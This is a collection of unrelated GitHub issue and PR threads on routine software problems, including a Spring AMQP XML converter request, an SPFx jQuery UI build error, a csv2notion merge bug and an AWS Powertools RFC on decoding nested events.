The amqp message converter Jackson2JsonMessageConverter accept an ObjectMapper, which makes it eligible for XML mapping via passing XmlMapper to serve XML conversions.
However because of the hardcoding to json in https://github.com/spring-projects/spring-amqp/blob/master/spring-amqp/src/main/java/org/springframework/amqp/support/converter/Jackson2JsonMessageConverter.java#L173 one need to override the whole fromMessage as well as createMessage methods.
If I compared org.springframework.amqp.support.converter.AbstractJackson2HttpMessageConverter to  org.springframework.http.converter.json.AbstractJackson2HttpMessageConverter I will found the latter a clear winner

Well, from big height your concern isn't clear and there are some typos in your post, but still I can guess that you would like to have a variant of the Jackson2JsonMessageConverter which can work exactly with XML. In other words you want to have an hierarchy for the ObjectMapper here in Spring AMQP similar what we have in Spring Web with the AbstractJackson2HttpMessageConverter.
As you said yourself the current Jackson2JsonMessageConverter is tied with the JSON, but that is exactly in its name. So, what we need is to extract some abstract AbstractJackson2MessageConverter and implement a Jackson2XmlMessageConverter.
If that is what you have in mind, then it is a good suggestion and contribution is always welcome.
Otherwise your issue is not clear. Sorry...

That is exactly what I meant, sorry for being my question not clear enough.
I would prepare and send a PR. Thanks.

Noted; thanks.
On Wed, 11 Jul 2018, 4:26 pm Artem Bilan<EMAIL_ADDRESS>wrote:

Good to hear.
Please, edit your issue to reflect the reality of the request.
My main concern that we can't modify an
AbstractJackson2HttpMessageConverter here because it is a part of Spring
Web, not Spring AMQP.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/spring-projects/spring-amqp/issues/768#issuecomment-404167948,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABCSYY2qJfTu_eC2J6rSBqccslQJWJAfks5uFfzogaJpZM4VGsbh
.


iOS pod installation

[!] Unable to find a specification for google_mlkit_commons depended upon by google_mlkit_language_id
You have either:

mistyped the name or version.
not added the source repo that hosts the Podspec to your Podfile.

same issue here. config from pubspec file: google_mlkit_language_id: ^0.9.0. any updates?

i've fixed this issue by explicitly adding google_mlkit_commons: ^0.6.1 in pubsepc


Enable Touch support

Hey,
Thanks for creating a wrapper for vue2 that too with SSR support but this component do not work on mobile where Pointer is touch instead of mouse.
Please check.
Thanks!

I just found out that it's working on my mobile but in responsive mode (Firefox as well as Chrome) for developing/debugging purposes.

Hi @creativenoobie. I just checked your problem. It's not related directly with this wrapper. But I found the issue on the perfect-scrollbar github. The solution is you have to refresh the page after switch to console on "responsive" in dev tool ;-)
https://github.com/utatti/perfect-scrollbar/issues/406

@creativenoobie Is it helpful for you ? I'm closing this issue. Don't hesitate to reopen if you need more help.

to make use in mobile responsiveness, we have to refresh the page to use this wrapper, very bad UX this is.


Following documentation generates an error: Cannot find external "jqueryui"

Category

[x] Bug

Describe the bug
Following the exact steps in the documentation throws up an error when running "gulp serve"
Error - [webpack] 'dist':
Did not find linked external "jqueryui" for bundle "j-query-web-part"
consequently the web part does not show to be added to the local workbench.
Steps to reproduce
Follow exact steps in documentation:
https://github.com/SharePoint/sp-dev-docs/blob/master/docs/spfx/web-parts/get-started/add-jqueryui-accordion-to-web-part.md
Expected behavior
I expected that following the exact instructions in the document to work as described.
Environment details (development & target environment)

Local OS = Windows 10
For SharePoint online
Framework = 64 bit node.js v12.21.0
Browser = Google Chrome Version 89.0.4389.90
Tooling = VS Code v1.54.3
SharePoint framework = 1.12.0

Additional context
The content of my files is as follows:
config.json
{
  "$schema": "https://developer.microsoft.com/json-schemas/spfx-build/config.2.0.schema.json",
  "version": "2.0",
  "bundles": {
    "j-query-web-part": {
      "components": [
        {
          "entrypoint": "./lib/webparts/jQuery/JQueryWebPart.js",
          "manifest": "./src/webparts/jQuery/JQueryWebPart.manifest.json"
        }
      ]
    }
  },
  "externals": {
    "jquery": "node_modules/jquery/dist/jquery.min.js",
    "jqueryui": "node_modules/jqueryui/jquery-ui.min.js"
  },
  "localizedResources": {
    "JQueryWebPartStrings": "lib/webparts/jQuery/loc/{locale}.js"
  }
}

jQueryWebPart.ts
import { Version } from '@microsoft/sp-core-library';
import {
  IPropertyPaneConfiguration,
  PropertyPaneTextField
} from '@microsoft/sp-property-pane';
import { BaseClientSideWebPart } from '@microsoft/sp-webpart-base';
import { escape } from '@microsoft/sp-lodash-subset';

import styles from './JQueryWebPart.module.scss';
import * as strings from 'JQueryWebPartStrings';

import MyAccordionTemplate from './MyAccordionTemplate';
import * as jQuery from 'jquery';
import 'jqueryui';
import { SPComponentLoader } from '@microsoft/sp-loader';

export interface IJQueryWebPartProps {
  description: string;
}

export default class JQueryWebPart extends BaseClientSideWebPart<IJQueryWebPartProps> {
  public constructor() {
    super();

    SPComponentLoader.loadCss('//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css');
  }

  public render(): void {
    this.domElement.innerHTML = MyAccordionTemplate.templateHtml;

    const accordionOptions: JQueryUI.AccordionOptions = {
      animate: true,
      collapsible: false,
      icons: {
        header: 'ui-icon-circle-arrow-e',
        activeHeader: 'ui-icon-circle-arrow-s'
      }
    };
    jQuery('.accordion', this.domElement).accordion(accordionOptions);
  }

  protected get dataVersion(): Version {
    return Version.parse('1.0');
  }

  protected getPropertyPaneConfiguration(): IPropertyPaneConfiguration {
    return {
      pages: [
        {
          header: {
            description: strings.PropertyPaneDescription
          },
          groups: [
            {
              groupName: strings.BasicGroupName,
              groupFields: [
                PropertyPaneTextField('description', {
                  label: strings.DescriptionFieldLabel
                })
              ]
            }
          ]
        }
      ]
    };
  }
}

package.json
{
  "name": "jquery-webpart",
  "version": "0.0.1",
  "private": true,
  "main": "lib/index.js",
  "scripts": {
    "build": "gulp bundle",
    "clean": "gulp clean",
    "test": "gulp test"
  },
  "dependencies": {
    "@microsoft/sp-core-library": "1.12.0",
    "@microsoft/sp-lodash-subset": "1.12.0",
    "@microsoft/sp-office-ui-fabric-core": "1.12.0",
    "@microsoft/sp-property-pane": "1.12.0",
    "@microsoft/sp-webpart-base": "1.12.0",
    "jquery": "^2.2.4",
    "jqueryui": "^1.11.1"
  },
  "devDependencies": {
<EMAIL_ADDRESS>"0.2.3",
    "@microsoft/sp-build-web": "1.12.0",
    "@microsoft/sp-module-interfaces": "1.12.0",
    "@microsoft/sp-tslint-rules": "1.12.0",
    "@microsoft/sp-webpart-workbench": "1.12.0",
    "@types/jquery": "^2.0.56",
    "@types/jqueryui": "^1.12.15",
    "@types/webpack-env": "1.13.1",
    "ajv": "~5.2.2",
    "gulp": "~4.0.2"
  }
}

Thanks for your contribution! Sharing is caring.

Hi, thank you for submitting this! Can you confirm if this is happening in SPFx 1.11?
Currently, as there have been multiple issues, the recommendation from Microsoft is to roll back SPFx 1.12 and continue using 1.11.

Hi, I tried it with 1.11.0.
followed documentation exactly
C>gulp serve
gives the following error:
ReferenceError: primordials is not defined
    at fs.js:36:5
    at req_ (C:\devext\jquery-webpart\node_modules\natives\index.js:143:24)
    at Object.req [as require] (C:\devext\jquery-webpart\node_modules\natives\index.js:55:10)
    at Object.<anonymous> (C:\devext\jquery-webpart\node_modules\gulp\node_modules\graceful-fs\fs.js:1:37)
    at Module._compile (internal/modules/cjs/loader.js:999:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1027:10)
    at Module.load (internal/modules/cjs/loader.js:863:32)
    at Function.Module._load (internal/modules/cjs/loader.js:708:14)
    at Module.require (internal/modules/cjs/loader.js:887:19)
    at require (internal/modules/cjs/helpers.js:74:18)
    at Object.<anonymous> (C:\devext\jquery-webpart\node_modules\gulp\node_modules\graceful-fs\graceful-fs.js:3:27)
    at Module._compile (internal/modules/cjs/loader.js:999:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1027:10)
    at Module.load (internal/modules/cjs/loader.js:863:32)
    at Function.Module._load (internal/modules/cjs/loader.js:708:14)
    at Module.require (internal/modules/cjs/loader.js:887:19)

package.json file
(to prove I am using 1.11.0)
{
  "name": "jquery-webpart",
  "version": "0.0.1",
  "private": true,
  "main": "lib/index.js",
  "engines": {
    "node": ">=0.10.0"
  },
  "scripts": {
    "build": "gulp bundle",
    "clean": "gulp clean",
    "test": "gulp test"
  },
  "dependencies": {
    "@microsoft/sp-core-library": "1.11.0",
    "@microsoft/sp-lodash-subset": "1.11.0",
    "@microsoft/sp-office-ui-fabric-core": "1.11.0",
    "@microsoft/sp-property-pane": "1.11.0",
    "@microsoft/sp-webpart-base": "1.11.0",
    "jquery": "^2.2.4",
    "jqueryui": "^1.11.1"
  },
  "devDependencies": {
<EMAIL_ADDRESS>"0.3.5",
    "@microsoft/sp-build-web": "1.11.0",
    "@microsoft/sp-module-interfaces": "1.11.0",
    "@microsoft/sp-tslint-rules": "1.11.0",
    "@microsoft/sp-webpart-workbench": "1.11.0",
    "@types/chai": "3.4.34",
    "@types/es6-promise": "0.0.33",
    "@types/jquery": "^2.0.56",
    "@types/jqueryui": "^1.12.15",
    "@types/mocha": "2.2.38",
    "@types/webpack-env": "1.13.1",
    "ajv": "~5.2.2",
    "gulp": "~3.9.1"
  }
}

Duplicate of https://github.com/SharePoint/sp-dev-docs/issues/6833. Rollback to 1.11.0 until the linked issue is fixed in next release.


Unable to merge & update entries and results In creation of duplicated entries

Summary of user's findings -
I just ran into a small issue with CSV2Notion Neo. Not sure what's happening, because it will create new entries from my .csv instead of updating the items.
I've already tried it without importing the Images and also the --merge-only-column instead of --merge switch.

@vzhd1701 Hi, I Noticed a problem with csv2notion tool,  the --merge sometimes dosent work.
I backtracked and found out some problems.

in notion_uploader.py file, in NotionRowUploader class -> _get_db_row method. exisiting row value becomes none sometimes even when is_merge flag is True.
Tracking that back, i found that in file notion_db.py -> NotionDB class -> rows method, self.collection.get_unique_rows() return none sometimes.
when tracing it again, i was directed to notion_db_collection.py file -> get_rows, where super.get_rows() function returns None, ie a []. I suppose Collection is an inherited class from notion-py package.

Do you have any idea on why this happens?
Thank you in advance

I believe based on @samplue feedback and report we have fixed this issue.


RFC: Generic way to handle nested events on Event Source Data Classes

Is this related to an existing feature request or issue?
https://github.com/aws-powertools/powertools-lambda-python/issues/2348
Which Powertools for AWS Lambda (Python) utility does this relate to?
Event Source Data Classes
Summary
This RFC proposes the implementation of a generic way to decode/unwrap nested events in Event Source Data Classes. When handling events, it may happen that the event passed into the lambda_handler wraps another event that was originated on a different resource. For example, an SQSEvent that wraps an event originated on Amazon S3.
The goal is to simplify how developers access and handle nested events, even when they are multi-level.
Use case
At this point, when the developer decorates the lambda_handler with @event_source, they declare the data_class for the event that invoked the Lambda function. If this event wraps another event - or a chain of events originated somewhere else, the developer has to manually instantiate new objects using the appropriate Event Source Data Classes.
This was partially addressed by #2348, but it covers only SQSEvents wrapping S3Events and SNSEvents. In practice, there can be dozens of different combinations of events, with more to come as AWS adds new features and use cases to the services. Moreover, nested events as such may be multi-level: S3 -> SNS -> SQS.
Implementing on Powertools each possible combination is not feasible, therefore I'm proposing a generic implementation that would also facilitate how developers are using this utility. With this approach, the developer would be able to traverse the chain of events until the root event, and still have access to relevant attributes from the parent i.e., the event wrapper.
Proposal
The proposal is to have a class called EventWrapper extending DictWrapper. This new class has the generic implementation to decode/unwrap nested events. Each relevant Event Source Data Class, such as SNSEvent, extends EventWrapper instead of DictWrapper. With that, SNSEvent (and the other relevant data classes) inherits a method called decode_nested_events (or decode_nested_event in singular - I'll elaborate on the singular vs. plural further down on the Potential Challenges section).
The method decode_nested_events accepts nested_event_class (the wrapped data class), and optionally the nested_event_content_deserializer (the implementation of the nested content deserializer, that can be in the format of JSON, Base64, GZIP, etc.). If no nested_event_content_deserializer is passed, the default is self._json_deserializer. For the latter, I intend to add implementations for the most common deserializers in EventWrapper. An example of that is compressed JSON CloudWatch Logs data coming in KinesisStreamEvents.
Here is a mock implementation (with no types yet):

def decode_nested_events(
        self,
        nested_event_class,
        nested_event_content_deserializer = None):

    if nested_event_content_deserializer is None:
        nested_event_content_deserializer = self._json_deserializer

    for content in self.nested_event_contents:
        yield nested_event_class(nested_event_content_deserializer(content))

I'm also planning to add a reference to the parent event into the nested event, so that the chain of events can be traversed back and forth. Another shortcut that I'm planning to add is a direct access to the root event. For the chain S3 -> SNS -> SQS, there would be a method decode_root_event to return an S3Event directly from the SQSEvent.
Here is a mock implementation of nested_event_contents:
@property
def nested_event_contents(self):
    for record in self["Records"]:
        yield record["body"]

The implementation of nested_event_contents assumes that self has an attribute called Records, and each Record has the attribute body with the actual content of the nested event. At this point, I assume this is the most common use case, but I know there are exceptions, hence this mock implementation may change. Nevertheless, the outliers have the possibility to override just this method to return the right content. An example of that is SNSEvent that would override that to return self.sns_message instead.
Note: Based on the analysis I've done so far, we can implement the proposal on this RFC without breaking changes.
Out of scope
Nothing so far.
Potential challenges
Plural vs. singular
One implementation challenge that affects the UX is the JSON format of these events. For instance, the JSON object representing an SQS event has the attribute Records. Within each Record, there is a nested event. As a consequence, using the same example, SQSEvent contains a collection of nested events instead of just one. Note that in the sample code above, I return an Iterator instead of just one event because of that.
In practice, there are multiple use cases that we empirically know that the event contains just one single Record. With that in mind, EventWrapper could provide a method called decode_nested_event (in singular) to allow decoding the nested evant in the Record[0]. This aims to allow an experience as such: event.decode_nested_event(SNSEvent).decode_nested_event(S3Event) to get direct access to the S3Event wrapped within an SNSEvent with is wrapped within an SQSEvent.
For the Iterable version (plural), the UX would be similar to (consider that event is an instance of SQSEvent):
sns_events = event.decode_nested_events(SNSEvent)
for sns_event in sns_events:
    s3_events = sns_event.decode_nested_events(S3Event)
    for s3_event in s3_events:
        print(s3_event.bucket.name)

Dependencies and Integrations
No response
Alternative solutions
No response
Acknowledgment

[X] This feature request meets Powertools for AWS Lambda (Python) Tenets
[X] Should this be considered in other Powertools for AWS Lambda languages? i.e. Java, TypeScript, and .NET

Hello @rafaelgsr! This is fantastic because it solves a need that we have to create events every time we want to unwrap nested events. That way, we make it linear and very easy.
Let's analyze this RFC until next week, ok?

Update: we're still prioritizing Pydantic v2 POC as it impacts a larger set of customers. We'll get back to review this RFC as soon as we're able.

Hello @rafaelgsr, thank you for writing this RFC, this will be extremely useful to have! I would love to work with you to get the RFC and UX finalized. Some questions/comments:

“The implementation of nested_event_contents assumes that self has an attribute called Records, and each Record has the attribute body with the actual content of the nested event. At this point, I assume this is the most common use case, but I know there are exceptions, hence this mock implementation may change. Nevertheless, the outliers have the possibility to override just this method to return the right content. An example of that is SNSEvent that would override that to return self.sns_message instead.”

Should we consider adding the methods for some of the most popular outlier events for how they would return the right content? This would probably help users out as they would quickly know how to get the right info.

"In practice, there are multiple use cases that we empirically know that the event contains just one single Record. With that in mind, EventWrapper could provide a method called decode_nested_event (in singular) to allow decoding the nested evant in the Record[0]"

I think having a method to return only Record[0] is a great idea! We could definitely do that in addition to having a method for the Iterable version. Was the potential challenge to do this or not? Or did I misread something in that section?

Discussed offline with @rafaelgsr and got my questions clarified:

“The implementation of nested_event_contents assumes that self has an attribute called Records, and each Record has the attribute body with the actual content of the nested event. At this point, I assume this is the most common use case, but I know there are exceptions, hence this mock implementation may change. Nevertheless, the outliers have the possibility to override just this method to return the right content. An example of that is SNSEvent that would override that to return self.sns_message instead.”

Should we consider adding the methods for some of the most popular outlier events for how they would return the right content? This would probably help users out as they would quickly know how to get the right info.

The original comment was more saying we should implement some way for the .Record call to automatically call the specific event's Record equivalent, i.e. SNSEvent.Record should call SNSEvent.sns_message.

"In practice, there are multiple use cases that we empirically know that the event contains just one single Record. With that in mind, EventWrapper could provide a method called decode_nested_event (in singular) to allow decoding the nested event in the Record[0]"

I think having a method to return only Record[0] is a great idea! We could definitely do that in addition to having a method for the Iterable version. Was the potential challenge to do this or not? Or did I misread something in that section?

Yes, we should implement both a method to get Record[0] and have a method that goes through Records in general.


Add beis orr logos

What is the context of this PR?
Add BEIS and ORR logos and add themes for them
How to review
Test new schemas look as expected with new logos
Checklist

[ ] New static content marked up for translation
[ ] Newly defined schema content included in eq-translations repo

 Importing UKIS logos to eQ (2 SP)